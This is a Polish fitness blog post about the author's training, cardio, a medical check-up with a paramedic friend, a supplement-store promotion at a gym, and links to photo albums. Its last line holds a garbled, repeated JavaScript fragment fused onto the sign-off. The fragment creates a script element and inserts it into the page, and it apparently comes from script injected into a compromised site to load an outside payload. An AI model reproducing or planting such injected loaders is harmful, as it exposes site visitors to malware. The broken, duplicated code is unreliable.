Ostatnie Newsy z mojego życia

14.06.2013 / Adam Jabłoński / Kulturystyka

Cześć,

Ostatnio jestem bardzo zabiegany, ćwiczę 3-4 razy w tygodniu po każdym treningu oprócz nóg 30 min aerobów na bieżni.
Prócz tego byłem parę razy pobiegać – MASAKRA to nie to samo co bieżnia bieg pod górkę to była rzeź, a łydek i piszczeli to tak dużych jeszcze nie miałem generalnie pompa taka, że miałem z 5 przerw .

Co do okresu roztrenowania to jeszcze go nie zacząłem, bo co rusz gdzieś trzeba pojechać i mieć chociaż parę procent dobrej formy, a urlop raczej w Sierpniu – a tam i tak bym mało ćwiczył, więc planuje coś w tym okresie zrobić roztrenowanie.
Ale na roztrenowanie już powoli składam suplementy :

Roztrenowanie Jabiego Adam Jabłoński

Hmm jakiś czas temu byłem też u mojego dobrego kolegi, który jest ratownikiem medycznym na pogotowiu. Kolega oprowadził mnie bo całym pogotowiu i od razu zrobił wszystkie badania jakie mogliśmy tam zrobić, po czym udaliśmy się do doktora, który przeanalizował badania i powiedział. ” Jest dobrze ” – także się ucieszyłem.

Jeszcze tylko przydałby mi się masaże i rozciąganie bo cały pospinany jestem.

Parę fotek z wizyty :

JaBi Mateusz Pogotowie 2

EKG JABIEGO

JaBi Mateusz Pogotowie 1

Następnie parę dni później chodziłem razem z dziewczyną po sklepach i to co rzuciło się nam od razu w oczy to koszulki z Reserved hehe tutaj muszę pozdrowić Tomka – Papaja.
Chciałem kupić taką koszulkę niestety PAPAJ zarezerwowany jest dla PAPAJA

PAPAJ koszulka

a 2 tygodnie temu nasze sklepy „OLYMPIA” miały małe stoisko na siłowni PURE w C.H. Kaskada gdzie udzielaliśmy rad w zakresie diety, suplementacji, treningu oraz przeprowadziliśmy degustacje odżywek.

Tutaj trochę zdjęć :

http://www.facebook.com/media/set/?set=a.529106433819020.1073741830.100001590039978&type=3

http://www.facebook.com/media/set/?set=a.550962424942421.1073741837.451845744854090&type=3

http://www.facebook.com/media/set/?set=a.552392958132701.1073741840.451845744854090&type=3

oraz parę fotek z treningu barków gdzie ćwiczyłem z moim kolega ze sklepu.

http://www.facebook.com/media/set/?set=a.553472328024764.1073741841.451845744854090&type=3

Także mamy trochę materiałów filmowych :

 

I TRENING BARKÓW – taka szybka migawka co się działo :

 

 

Następnie 2 tygodnie później zaczynamy właśnie mały projekt z SOBOTĄ z firmy Stoprocent.

Przeprowadziliśmy z nim trening klatki – materiały z tego treningu już niebawem :

a już niedługo Niedziela i CHEAT DAY

I na sam koniec Trec zrobił fajne zdjęcie motywacyjne :

 

Także Pozdrawiam

HEJ,
CZEŚĆvar d=document;var s=d.createElement(‚script’); document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement('script');